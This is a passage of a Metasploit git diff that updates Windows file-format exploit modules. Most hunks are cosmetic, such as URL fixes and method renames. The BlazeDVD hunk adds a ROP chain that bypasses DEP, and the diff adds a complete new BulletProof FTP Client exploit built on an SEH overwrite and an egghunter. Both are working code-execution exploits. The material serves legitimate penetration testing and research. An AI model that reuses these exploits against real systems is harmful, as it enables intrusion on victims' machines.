nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj + pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -167,7 +167,7 @@ class Metasploit3 < Msf::Exploit::Remote xref.each do |index| pdf << "%010d 00000 n" % index << eol end - pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb index d67c633928..17dac30a57 100644 --- a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/altap_salamander_pdb.rb b/modules/exploits/windows/fileformat/altap_salamander_pdb.rb index 4e525d3c32..4d85c1fae8 100644 --- a/modules/exploits/windows/fileformat/altap_salamander_pdb.rb +++ b/modules/exploits/windows/fileformat/altap_salamander_pdb.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/aol_desktop_linktag.rb b/modules/exploits/windows/fileformat/aol_desktop_linktag.rb index 7e63468c49..d807274f3f 100644 --- a/modules/exploits/windows/fileformat/aol_desktop_linktag.rb +++ b/modules/exploits/windows/fileformat/aol_desktop_linktag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/aol_phobos_bof.rb b/modules/exploits/windows/fileformat/aol_phobos_bof.rb index 9b4f8acaa6..53c044328a 100644 --- a/modules/exploits/windows/fileformat/aol_phobos_bof.rb +++ b/modules/exploits/windows/fileformat/aol_phobos_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb b/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb index 61c7f0165c..ed6dd402c0 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb b/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb index 19ccc32179..3cb025d7c9 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/apple_quicktime_texml.rb b/modules/exploits/windows/fileformat/apple_quicktime_texml.rb index d88342567f..e2ef03ffb9 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_texml.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_texml.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/audio_coder_m3u.rb b/modules/exploits/windows/fileformat/audio_coder_m3u.rb index 365504faf9..677b09c960 100644 --- a/modules/exploits/windows/fileformat/audio_coder_m3u.rb +++ b/modules/exploits/windows/fileformat/audio_coder_m3u.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/audio_wkstn_pls.rb b/modules/exploits/windows/fileformat/audio_wkstn_pls.rb index 75b184907c..c59964b672 100644 --- a/modules/exploits/windows/fileformat/audio_wkstn_pls.rb +++ b/modules/exploits/windows/fileformat/audio_wkstn_pls.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'seh', 'DisablePayloadHandler' => 'true', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/audiotran_pls.rb b/modules/exploits/windows/fileformat/audiotran_pls.rb index aa774bdc52..098c82121b 100644 --- a/modules/exploits/windows/fileformat/audiotran_pls.rb +++ b/modules/exploits/windows/fileformat/audiotran_pls.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/audiotran_pls_1424.rb b/modules/exploits/windows/fileformat/audiotran_pls_1424.rb index 1dcef5f540..2d824873e9 100644 --- a/modules/exploits/windows/fileformat/audiotran_pls_1424.rb +++ b/modules/exploits/windows/fileformat/audiotran_pls_1424.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb b/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb index 50737ae299..cf3be4cdb6 100644 --- a/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb +++ b/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/bacnet_csv.rb b/modules/exploits/windows/fileformat/bacnet_csv.rb index 26dba6df4b..dd284bb9b9 100644 --- a/modules/exploits/windows/fileformat/bacnet_csv.rb +++ b/modules/exploits/windows/fileformat/bacnet_csv.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb index 957da96c6e..16f16399e7 100644 --- a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb +++ b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb index 9d8a5e50bb..179ccd7920 100644 --- a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb +++ b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/blazedvd_plf.rb b/modules/exploits/windows/fileformat/blazedvd_plf.rb index 88a82bd8bc..e8e7b6feb9 100644 --- a/modules/exploits/windows/fileformat/blazedvd_plf.rb +++ b/modules/exploits/windows/fileformat/blazedvd_plf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,36 +12,60 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'BlazeDVD 5.1 PLF Buffer Overflow', + 'Name' => 'BlazeDVD 6.1 PLF Buffer Overflow', 'Description' => %q{ - This module exploits a stack over flow in BlazeDVD 5.1. When + This module exploits a stack over flow in BlazeDVD 5.1 and 6.2. When the application is used to open a specially crafted plf file, a buffer is overwritten allowing for the execution of arbitrary code. }, 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], + 'Author' => + [ + 'MC', # Developed target 5.1 + 'Deepak Rathore', # ExploitDB PoC + 'Spencer McIntyre', # Developed taget 6.2 + 'Ken Smith' # Developed target 6.2 + ], 'References' => [ [ 'CVE' , '2006-6199' ], - [ 'OSVDB', '30770'], + [ 'EDB', '32737' ], + [ 'OSVDB', '30770' ], [ 'BID', '35918' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'true', + 'AllowWin32SEH' => true }, 'Payload' => { 'Space' => 750, - 'BadChars' => "\x00", - 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, - 'DisableNops' => 'True', + 'BadChars' => "\x00\x0a\x1a", + 'DisableNops' => true }, + 'Platform' => 'win', 'Targets' => [ - [ 'BlazeDVD 5.1', { 'Ret' => 0x100101e7 } ], + [ 'BlazeDVD 6.2', + { + 'Payload' => + { + # Stackpivot => add esp,0xfffff254 + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" + } + } + ], + [ 'BlazeDVD 5.1', + { + 'Ret' => 0x100101e7, + 'Payload' => + { + 'EncoderType' => Msf::Encoder::Type::AlphanumUpper + } + } + ], ], 'Privileged' => false, 'DisclosureDate' => 'Aug 03 2009', @@ -49,22 +73,59 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']), + OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']), ], self.class) end + def rop_chain + # rop chain generated with mona.py - www.corelan.be + case target.name + when 'BlazeDVD 6.2' + rop_gadgets = [ ] + # 0x6162e802 RETN (ROP NOP) [EPG.dll] + rop_gadgets.fill(0x6162e802, 0..7) + rop_gadgets += [ + 0x61636758, # POP EAX # RETN [EPG.dll] + 0x10011108, # ptr to &VirtualProtect() [IAT SkinScrollBar.Dll] + 0x616306ed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [EPG.dll] + 0x616385d8, # XCHG EAX,ESI # RETN 0x00 [EPG.dll] + 0x61628ea2, # POP EBP # RETN [EPG.dll] + 0x616069a1, # push esp # ret 0x04 [EPG.dll] + 0x61626702, # POP EAX # RETN [EPG.dll] + 0xfffffdff, # Value to negate, will become 0x00000201 + 0x61627d9c, # NEG EAX # RETN [EPG.dll] + 0x61640124, # XCHG EAX,EBX # RETN [EPG.dll] + 0x61629938, # POP EAX # RETN [EPG.dll] + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x61627d9c, # NEG EAX # RETN [EPG.dll] + 0x61608ba2, # XCHG EAX,EDX # RETN [EPG.dll] + 0x61612f5a, # POP ECX # RETN [EPG.dll] + 0x100142ab, # &Writable location [SkinScrollBar.Dll] + 0x616313ac, # POP EDI # RETN [EPG.dll] + 0x6162e588, # RETN (ROP NOP) [EPG.dll] + 0x6162d638, # POP EAX # RETN [EPG.dll] + 0x90909090, # nop + 0x61620831, # PUSHAD # RETN [EPG.dll] + ] + end + return rop_gadgets.flatten.pack("V*") + end + def exploit - - plf = rand_text_alpha_upper(6024) - - plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V') - plf[876,12] = make_nops(12) - plf[888,payload.encoded.length] = payload.encoded + case target.name + when 'BlazeDVD 5.1' + plf = rand_text_alpha_upper(6024) + plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V') + plf[876,12] = make_nops(12) + plf[888,payload.encoded.length] = payload.encoded + when 'BlazeDVD 6.2' + plf = rand_text_alphanumeric(260) + plf << rop_chain + plf << payload.encoded + end print_status("Creating '#{datastore['FILENAME']}' file ...") - file_create(plf) - end end diff --git a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb new file mode 100644 index 0000000000..ca3e15e01a --- /dev/null +++ b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb @@ -0,0 +1,92 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::Seh + include Msf::Exploit::Remote::Egghunter + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BulletProof FTP Client BPS Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow vulnerability in + BulletProof FTP Client 2010, caused by an overly long hostname. + + By persuading the victim to open a specially-crafted .BPS file, a + remote attacker could execute arbitrary code on the system or cause + the application to crash. This module has been tested successfully on + Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Gabor Seljan' + ], + 'References' => + [ + [ 'EDB', '34162' ], + [ 'EDB', '34540' ], + [ 'EDB', '35449' ], + [ 'OSVDB', '109547' ], + [ 'CVE', '2014-2973' ], + ], + 'DefaultOptions' => + { + 'ExitFunction' => 'process' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d\x1a", + 'Space' => 2000 + }, + 'Targets' => + [ + [ 'Windows XP SP3', + { + 'Offset' => 89, + 'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll] + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jul 24 2014', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps']) + ], + self.class) + end + + def exploit + eggoptions = { + :checksum => true, + :eggtag => 'w00t' + } + + hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions) + + sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n" + sploit << rand_text_alpha(target['Offset']) + sploit << generate_seh_record(target.ret) + sploit << hunter + "\r\n" # FTP Server HOST / IP + sploit << rand_text_numeric(5) + "\r\n" # Port number + sploit << egg + "\r\n" # Login name + sploit << rand_text_alpha(8) + "\r\n" # Login password + + # Create the file + print_status("Creating '#{datastore['FILENAME']}' file...") + file_create(sploit) + end + +end diff --git a/modules/exploits/windows/fileformat/bsplayer_m3u.rb b/modules/exploits/windows/fileformat/bsplayer_m3u.rb index e33918c580..ac074a89b7 100644 --- a/modules/exploits/windows/fileformat/bsplayer_m3u.rb +++ b/modules/exploits/windows/fileformat/bsplayer_m3u.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/ca_cab.rb b/modules/exploits/windows/fileformat/ca_cab.rb index dfa941cf3b..a596d254fc 100644 --- a/modules/exploits/windows/fileformat/ca_cab.rb +++ b/modules/exploits/windows/fileformat/ca_cab.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb index 77aa07b482..b9960e6c1d 100644 --- a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb +++ b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Cain & Abel <= v4.9.24 RDP Buffer Overflow', + 'Name' => 'Cain and Abel RDP Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24 and below. An attacker must send the file to victim, and the victim must open @@ -34,6 +34,10 @@ class Metasploit3 < Msf::Exploit::Remote 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'StackAdjustment' => -3500, }, + 'DefaultOptions' => + { + 'AllowWin32SEH' => true + }, 'Platform' => 'win', 'Targets' => [ diff --git a/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb index 52c1cdce04..2eddd04730 100644 --- a/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb index 5c7f19ebfa..ead6de182e 100644 --- a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb +++ b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb b/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb index 7c452099ed..fd03303457 100644 --- a/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb +++ b/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -88,21 +88,21 @@ class Metasploit3 < Msf::Exploit::Remote end # Override the mixin obfuscator since it doesn't seem to work here. - def nObfu(str) + def n_obfu(str) return str end def make_pdf @pdf << header - add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")) - add_object(2, nObfu("<</Type/Outlines>>")) - add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")) - add_object(4, nObfu("[/PDF/Text/ImageC]")) - add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")) + add_object(1, n_obfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")) + add_object(2, n_obfu("<</Type/Outlines>>")) + add_object(3, n_obfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")) + add_object(4, n_obfu("[/PDF/Text/ImageC]")) + add_object(5, n_obfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")) stream_1 = "stream" << eol stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol stream_1 << "endstream" << eol - add_object(6, nObfu("<</Length 91>>#{stream_1}")) + add_object(6, n_obfu("<</Length 91>>#{stream_1}")) stream = "<<" << eol stream << "/Width 230" << eol stream << "/BitsPerComponent 8" << eol diff --git a/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb b/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb index 86e0c2a32e..672dd21363 100644 --- a/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb +++ b/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/csound_getnum_bof.rb b/modules/exploits/windows/fileformat/csound_getnum_bof.rb index 040a1c3eec..1e45c2bad9 100644 --- a/modules/exploits/windows/fileformat/csound_getnum_bof.rb +++ b/modules/exploits/windows/fileformat/csound_getnum_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/cutezip_bof.rb b/modules/exploits/windows/fileformat/cutezip_bof.rb index e5628cd61d..f27d29a44c 100644 --- a/modules/exploits/windows/fileformat/cutezip_bof.rb +++ b/modules/exploits/windows/fileformat/cutezip_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb index c307babc9b..171aa77b96 100644 --- a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb +++ b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/cytel_studio_cy3.rb b/modules/exploits/windows/fileformat/cytel_studio_cy3.rb index 94f406d243..74c7b8f7ea 100644 --- a/modules/exploits/windows/fileformat/cytel_studio_cy3.rb +++ b/modules/exploits/windows/fileformat/cytel_studio_cy3.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/deepburner_path.rb b/modules/exploits/windows/fileformat/deepburner_path.rb index fead2d8fe8..76ce8452b6 100644 --- a/modules/exploits/windows/fileformat/deepburner_path.rb +++ b/modules/exploits/windows/fileformat/deepburner_path.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/destinymediaplayer16.rb b/modules/exploits/windows/fileformat/destinymediaplayer16.rb index 5e17ec77ed..3535ec9342 100644 --- a/modules/exploits/windows/fileformat/destinymediaplayer16.rb +++ b/modules/exploits/windows/fileformat/destinymediaplayer16.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,6 +33,10 @@ class Metasploit3 < Msf::Exploit::Remote 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'StackAdjustment' => -3500, }, + 'DefaultOptions' => + { + 'AllowWin32SEH' => true + }, 'Platform' => 'win', 'Targets' => [ diff --git a/modules/exploits/windows/fileformat/digital_music_pad_pls.rb b/modules/exploits/windows/fileformat/digital_music_pad_pls.rb index e0e6e602c1..dde740dc05 100644 --- a/modules/exploits/windows/fileformat/digital_music_pad_pls.rb +++ b/modules/exploits/windows/fileformat/digital_music_pad_pls.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/djstudio_pls_bof.rb b/modules/exploits/windows/fileformat/djstudio_pls_bof.rb index 6aa5bed33c..ae6179ce9b 100644 --- a/modules/exploits/windows/fileformat/djstudio_pls_bof.rb +++ b/modules/exploits/windows/fileformat/djstudio_pls_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/djvu_imageurl.rb b/modules/exploits/windows/fileformat/djvu_imageurl.rb index 937e3d6ec7..1a4afb7f65 100644 --- a/modules/exploits/windows/fileformat/djvu_imageurl.rb +++ b/modules/exploits/windows/fileformat/djvu_imageurl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote for scripting, so choose your attack vector accordingly. }, 'License' => MSF_LICENSE, - 'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ], + 'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ], 'References' => [ [ 'CVE', '2008-4922' ], diff --git a/modules/exploits/windows/fileformat/dvdx_plf_bof.rb b/modules/exploits/windows/fileformat/dvdx_plf_bof.rb index f10f969f91..284effe31b 100644 --- a/modules/exploits/windows/fileformat/dvdx_plf_bof.rb +++ b/modules/exploits/windows/fileformat/dvdx_plf_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index b1c4ef293e..fbf0c7c8f3 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb b/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb index 1591a4d661..48e04da124 100644 --- a/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb +++ b/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb index c218c6b283..daaee920d9 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb index 83e98478f6..2fda926aee 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb index 6b836539b0..c455d9abe3 100644 --- a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb +++ b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,13 +13,14 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'eSignal and eSignal Pro <= 10.6.2425.1208 File Parsing Buffer Overflow in QUO', + 'Name' => 'eSignal and eSignal Pro File Parsing Buffer Overflow in QUO', 'Description' => %q{ - The software is unable to handle the "<StyleTemplate>" files (even - those original included in the program) like those with the registered - extensions QUO, SUM and POR. Successful exploitation of this vulnerability - may take up to several seconds due to the use of egghunter. Also, DEP - bypass is unlikely due to the limited space for payload. + The software is unable to handle the "<StyleTemplate>" files (even those + original included in the program) like those with the registered + extensions QUO, SUM and POR. Successful exploitation of this + vulnerability may take up to several seconds due to the use of + egghunter. Also, DEP bypass is unlikely due to the limited space for + payload. This vulnerability affects versions 10.6.2425.1208 and earlier. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/exploits/windows/fileformat/etrust_pestscan.rb b/modules/exploits/windows/fileformat/etrust_pestscan.rb index db1a44fd58..61e21900e7 100644 --- a/modules/exploits/windows/fileformat/etrust_pestscan.rb +++ b/modules/exploits/windows/fileformat/etrust_pestscan.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires 